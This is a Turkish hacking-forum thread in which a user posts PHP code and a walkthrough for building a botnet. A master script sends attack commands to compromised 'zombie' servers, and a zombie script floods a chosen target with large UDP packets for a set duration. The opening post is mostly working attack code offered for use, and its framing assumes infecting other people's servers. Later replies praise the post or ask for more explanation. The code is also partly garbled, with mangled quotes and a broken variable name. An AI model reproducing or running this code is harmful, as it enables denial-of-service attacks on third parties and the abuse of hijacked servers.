THT DUYURU

Siber Güvenlik Siber Güvenlik ile alakalı araçların kullanımı, bilgi paylaşımı ve siber güvenlik eğitimi ile ilgili kaynakların paylaşıldığı alanımızdır.

takipci
chat
Seçenekler

PHP ile Botnet Ağı yazmak

sah mat - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
03/2019
Mesajlar:
105
Konular:
17
Teşekkür (Etti):
64
Teşekkür (Aldı):
27
Ticaret:
(0) %
8
5167
19-03-2019 00:14
#1
PHP ile Botnet Ağı yazmak
Değerli As ve Üstlerim
Forumda genelde sıkıntı olan botnet ağını bu gün sizlere php dili ile yazmayı göstericem
Öncelikle botnet'leri yöneteceğimiz bir MASTER SERVER ve bu master sever tarafından yönetilen ZOMBİ SERVER'lar için ayrı ayrı kodlar yazalım
Zombi server'lar için yazacağımız kod master server'dan gelecek bir emir ile hedef sisteme saldırı yapack şekilde hazırda bekleye bir script oluşturacaktır

MASTER SERVER KODLARI
<?php
$zombies =[''1.1.1.1'', ''2.2.2.2'', ''hedefsite.com''];
$file_path = ''botnet/zombie.php'';
$trgt_host = $argv[1];
$trgt_port = $argv[2];
$exec_time = $argv[3];
$ch = curl_init();
foreach($zombies as $zombie){
curl_setopt($ch, CURLOPT_URL,
''https://''.$zombie.''/''.$file_path);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,
''host=''.$trgt_host.''&port=''.$trgt_port.
''&exec_time=''.$exec_time);
curl_exec ($ch);
}
curl_close ($ch);
?>

YUKARIDA VERİLEN KODLARDAKİ İŞLEMLER
$zombies=Zombi server'laravbulştırmamız gereken birzdan yazacağımız scripti bulştırabileceğimiz server'ları dizi olark tutalım ve her yeni server'a bulaştırdığımızda push edelim
$target_path=değişkeninde ise zararlı script bulaştırdığımız server'lardaki zararlı script yolunu girdim
$trgt_host,$trgt_port ve $ exec_time=zombi server'ların saldırmasını istediğimiz hedef server IP ve PORT'unu ve saldırının ne kadar süreceğini girdiğimiz yerdir

Sonrasında cURL'ü başlatıp hemen ardından zombi server listemizi foreachile teker teker işleme sokuyoruz
Döngümüzün her adımındaki n.cURL ile saldırması gereken server IP adresi ve port'unun bildiriyor .Yani emir veriyor
Şimdi ise gelelim zombi server'da emirimizi bekleyecek scripte
<?php
$packets = 0;
$host = $_POST['host'];
$port = $_POST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_POST['exec_time'];
$time = time();
print ''$host hostunun $port portuna <br><br>'';
$max _time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= ''X'';
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen(''udp://$host'', $port,
$errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo ''Saldırı ''.time('h:i:s').'' itibari ile
tamamlandı <br />'';
echo ''Toplam ''.$packets.'' adet '' .
round( ( $packets*65)/1024, 2) . '' mB boyutunda
paket gönderildi.<br />'';
echo ''Saniyede ortalama ''. round($packets/$exec_
time, 2) . ''paket gönderildi.<br />'';
?>

Şimdi ise bu scriptte ne yazdığını açıklayayım
$packets=Hesapları yapan değişkendir
$hostve$port=Değişkenleri ise IP adresi ve PORTUNU post metodu ile alıyoruz
set_time_limit=sayfanın çalışması gerektiği süreyi belirten fonksiyondur
ignore_user_abort=kullanıcı browserı kapatsa bile işleme devam eden fonksiyondur
$exec_time=saldırının ne kadar sürmesi gerektiğini alıyoruz
$max_time=saldırını ne zaman bitmesi gerektiğini kaydeden fonksiyon
fordöngüsü ile 65535adet büyük Xharfinin yan yana yazılı olduğu bir string oluşturup ,bu stringi $outdeğişkenine atıyoruz
while(true)=ile sonsuz döngümüzü başlatıyoruz
$fpdeğişkeninde ise fsockopen ile hedef sunucu portuna bir UDP bağlantısı açıyoruz ve önceden hazırlamış olduğumuz 65535 adet büyük X harfinde oluşan stringi gönderiyoruz
Konu Tamamen bana aittir yazım hatalarım olduysa affola
Emeğim çoktur
Bir teşekkürüde bana çok görmeyin
SAYGILARIMLA ŞahMat
Konu sah mat tarafından (19-03-2019 11:19 Saat 11:19 ) değiştirilmiştir.
oxcakmak, teguardian Teşekkür etti.
oxcakmak - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
12/2018
Nereden:
Kocaeli
Yaş:
21
Mesajlar:
1.394
Konular:
80
Teşekkür (Etti):
467
Teşekkür (Aldı):
143
Ticaret:
(0) %
19-03-2019 00:19
#2
İyi hoş yazdında buna giriş için de kullanıcının sayfaya girmesi lazım
---------------------
PHP / PDO - Back-End Developer - Full Open Source
sah mat - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
03/2019
Mesajlar:
105
Konular:
17
Teşekkür (Etti):
64
Teşekkür (Aldı):
27
Ticaret:
(0) %
19-03-2019 00:21
#3
Komutanın ben araştırdım onun da anlatımı forumda var

SAYGILARIMLA ŞahMat
MrTarget - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
07/2017
Mesajlar:
211
Konular:
28
Teşekkür (Etti):
46
Teşekkür (Aldı):
19
Ticaret:
(0) %
19-03-2019 00:30
#4
atladigin noktalar da olsa,araştırıp paylasimda bulunmuşsun.
Başarılarının devamını dilerim.
Konu THE HACKER 21 tarafından (19-03-2019 00:53 Saat 00:53 ) değiştirilmiştir.
sah mat - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
03/2019
Mesajlar:
105
Konular:
17
Teşekkür (Etti):
64
Teşekkür (Aldı):
27
Ticaret:
(0) %
19-03-2019 00:33
#5
Hatalarımı söylerseniz hemen düzeltirim yanlış bilgi vermek istemem
SAYGILAR ŞahMat
cakr1805 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
01/2015
Mesajlar:
587
Konular:
37
Teşekkür (Etti):
70
Teşekkür (Aldı):
68
Ticaret:
(0) %
19-03-2019 05:17
#6
Daha açıklayıcı olabilirdi .
Konu PALA tarafından (19-03-2019 12:19 Saat 12:19 ) değiştirilmiştir.
teguardian - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
03/2019
Mesajlar:
590
Konular:
19
Teşekkür (Etti):
81
Teşekkür (Aldı):
116
Ticaret:
(0) %
19-03-2019 11:19
#7
Yeni baslayanlar icin birazdaha aciklayici bir anlam kullanabilirdiniz,ancak yine de basarili bir paylasim olmus.Basarilar dilerim.
---------------------
“Bu Ülkeye 5 kuruş katkın yoksa 10 kuruşluk zarar Verme!”
Bir Hacker.

Eski Sosyal Medya Yöneticisi
femkefe - ait Kullanıcı Resmi (Avatar)
Tamamen Forumdan Uzaklaştırıldı
Üyelik tarihi:
02/2019
Nereden:
NEREYE...
Mesajlar:
231
Konular:
64
Teşekkür (Etti):
5
Teşekkür (Aldı):
28
Ticaret:
(0) %
22-04-2019 21:29
#8
direkt konuya girilmiş keşke biraz daha açıklayıcı olsaydı malum aramıza yeni katılanlar oluyor onlar için biraz daha açık olmamız lazım
iyi forumlar
Hking - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
04/2020
Mesajlar:
1
Konular:
0
Teşekkür (Etti):
0
Teşekkür (Aldı):
0
Ticaret:
(0) %
27-04-2020 19:18
#9
Cevap: PHP ile Botnet Ağı yazmak
Hocam hata veriyor php parser diye

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler





1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291